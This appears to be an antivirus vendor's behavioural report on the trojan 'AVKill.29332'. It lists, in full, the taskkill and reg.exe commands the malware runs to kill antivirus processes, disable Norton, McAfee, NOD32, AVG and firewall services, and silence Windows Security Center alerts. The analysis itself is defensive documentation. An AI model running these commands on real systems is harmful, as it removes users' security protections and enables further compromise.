Trojan.AVKill.29332

Technical Information

Malicious functions:

Executes the following:

<SYSTEM32>\taskkill.exe /f /im nod32.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\NAV DefAlert" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\NAV Configuration Wizard" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Nod32CC" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im gcasServ.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Nod32CC" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im nod32kui.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\NAV Agent" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\NAV Agent" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im alogserv.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\NAV Configuration Wizard" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\NAV Configuration Wizard" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im rulaunch.exe
<SYSTEM32>\reg.exe add "HKLM\system\CURRENTcontrolset\services\Nod32CC" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Norton eMail Protect" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Norton Auto-Protect" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Norton Auto-Protect" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Norton Navigaton Loader" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Norton eMail Protect" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Norton eMail Protect" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im ashDisp.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\NOD32POP3" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\NOD32POP3" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im gcasDtserv.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Norton Auto-Protect" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\NOD32POP3" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im ashSimpl.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\NAV Agent" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im MPFTRAY.EXE
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Look 'n' Stop" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Look 'n' Stop" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im MPFSERVICE.EXE
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\McAfee Firewall" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Look 'n' Stop" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im MSCIFAPP.EXE
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\iamapp" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\F-StopW" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im MCAGENT.EXE
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\iamapp" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\iamapp" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im MGHTML.EXE
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\McAfee Firewall" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\McAfeeVirusScanService" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im MisWizard.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\McAfee.InstantUpdate.Monitor" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\McAfeeVirusScanService" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im mcepoc.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\McAfeeVirusScanService" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\McAfee.InstantUpdate.Monitor" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\McAfee Winguage" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im MPFCONSOLE.EXE
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\McAfee Firewall" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im McAppins.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\McAfee.InstantUpdate.Monitor" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im MPFAGENT.EXE
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\TrueVector" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\TrueVector" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im PCCClient.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\VirusScan Online" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\VirusScan Online" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im Pop3trap.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\TrueVector" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Tiny Personal Firewall" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im trupd.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\SymTray - Norton SystemWorks" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Tiny Personal Firewall" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im pccguide.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Tiny Personal Firewall" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im tmas.exe
<SYSTEM32>\taskkill.exe /f /im pav.dll
<SYSTEM32>\taskkill.exe /f /im pav.exe
<SYSTEM32>\taskkill.exe /f /im perupd.exe
<SYSTEM32>\taskkill.exe /f /im winpatrol.exe
<SYSTEM32>\taskkill.exe /f /im pertsk.exe
<SYSTEM32>\taskkill.exe /f /im per.exe
<SYSTEM32>\taskkill.exe /f /im avgwb.dat
<SYSTEM32>\taskkill.exe /f /im avgcc.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\ZoneAlarm" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\VirusScan Online" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im avgemc.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\ZoneAlarm" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\ZoneAlarm" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\SymTray - Norton SystemWorks" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Norton Program Event Checker" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Norton Program Event Checker" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im Update.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\NPS Event Checker" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Norton Program Event Checker" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im blindman.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Norton Program Scheduler" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Norton Navigaton Loader" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im SpybotSD.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Norton Navigaton Loader" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Norton Program Scheduler" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im TeaTimer.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Norton Program Scheduler" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im no-spy.exe
<SYSTEM32>\taskkill.exe /f /im rmvtrjan.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\ScanInicio" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\ScanInicio" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im yxa1.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\SymTray - Norton SystemWorks" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\ScanInicio" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Panda Scheduler" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im ad-aware.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\NPS Event Checker" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\NPS Event Checker" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im ad-watch.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Panda Scheduler" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Panda Scheduler" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\F-StopW" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im global.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Apvxd" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Apvxd" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im Iface.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Apvxdwin" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Apvxdwin" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im PAVCL.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Amon" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Amon" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im Inicio.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Apvxd" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Amon" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im Upgrader.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Apvxdwin" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\AVG_CC" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\AvconsoleEXE" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im PSClean.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\AVG_CC" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\AVG_CC" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im pavjobs.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\AvconsoleEXE" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Atrack" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im PAVFIRES.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Atrack" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\AvconsoleEXE" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im PPFW.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Atrack" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\AVPCC" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\SharedAccess" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\software\microsoft\security center" /v UpdatesDisableNotify /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\software\microsoft\security center" /v FirstRunDisabled /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\SharedAccess" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\SharedAccess" /v ErrorControl /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im AlertAst.exe
<SYSTEM32>\reg.exe add "HKLM\software\microsoft\security center" /v FirewallOverride /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im ccapp.exe
<SYSTEM32>\cmd.exe /c <Current directory>\CSEGURIDAD.bat
<SYSTEM32>\cmd.exe /c <Current directory>\avkiller.bat
<SYSTEM32>\reg.exe add "HKLM\software\microsoft\security center" /v FirewallDisableNotify /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\software\microsoft\security center" /v AntiVirusOverride /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\software\microsoft\security center" /v AntiVirusDisableNotify /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im ALEScan.exe
<SYSTEM32>\taskkill.exe /f /im apvxdwin.exe
<SYSTEM32>\taskkill.exe /f /im SrvLoad.exe
<SYSTEM32>\taskkill.exe /f /im WebProxy.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\AVPCC" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im pavsched.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\AVPCC" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im PavPrSrv.exe
<SYSTEM32>\taskkill.exe /f /im IntroWiz.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\SharedAccess" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\SharedAccess" /v ErrorControl /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im SymMoni.exe
<SYSTEM32>\taskkill.exe /f /im PCWiz.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\SharedAccess" /v ErrorControl /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im AvpVList.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\dvpapi9x" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Defwatch" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Fix-it" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\dvpapi9x" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\dvpapi9x" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im avpupd.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\CPD_EXE" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\CPD_EXE" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im AVRescue.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Defwatch" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Defwatch" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im RepView.exe
<SYSTEM32>\taskkill.exe /f /im MCMNHDLR.EXE
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Freedom" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im MSKAGENT.EXE
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Freedom" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\F-StopW" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im MCDASH.EXE
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Freedom" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Fix-it AV" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im MSKOLHLP.EXE
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\Fix-it" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Fix-it" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im MSKCLNT.EXE
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\Fix-it AV" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\Fix-it AV" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\CPD_EXE" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\AVPCC Service" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im pavproxy.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\AVPCC Service" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im kav.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\BlackIce Utility" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\AVPCC Service" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\avgserv9" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im PAVSRV51.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\avgcc32" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\avgcc32" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\avgserv9" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\avgserv9" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\avgcc32" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\BlackIce Utility" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\ConfigSafe" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im AVPInstc.exe
<SYSTEM32>\taskkill.exe /f /im AVPExec.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\ConfigSafe" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im AvpM.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\ConfigSafe" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\CcRegVfy" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\controlset001\services\CcApp" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im Avp32.exe
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\BlackIce Utility" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe add "HKLM\system\currentcontrolset\services\CcApp" /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\taskkill.exe /f /im avpcc.exe
<SYSTEM32>\reg.exe add "HKLM\system\controlset002\services\CcApp" /v Start /t REG_DWORD /d 4 /f

Terminates or attempts to terminate

the following user processes:

mpftray.exe
MCAGENT.EXE
avgcc.exe
nod32.exe
AVP32.EXE
ccapp.exe
AVPM.EXE
AVPCC.EXE

Modifies file system :

Creates the following files:

<Current directory>\CSEGURIDAD.bat
<Current directory>\avkiller.bat

Miscellaneous:

Searches for the following windows:

ClassName: '' WindowName: ''

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial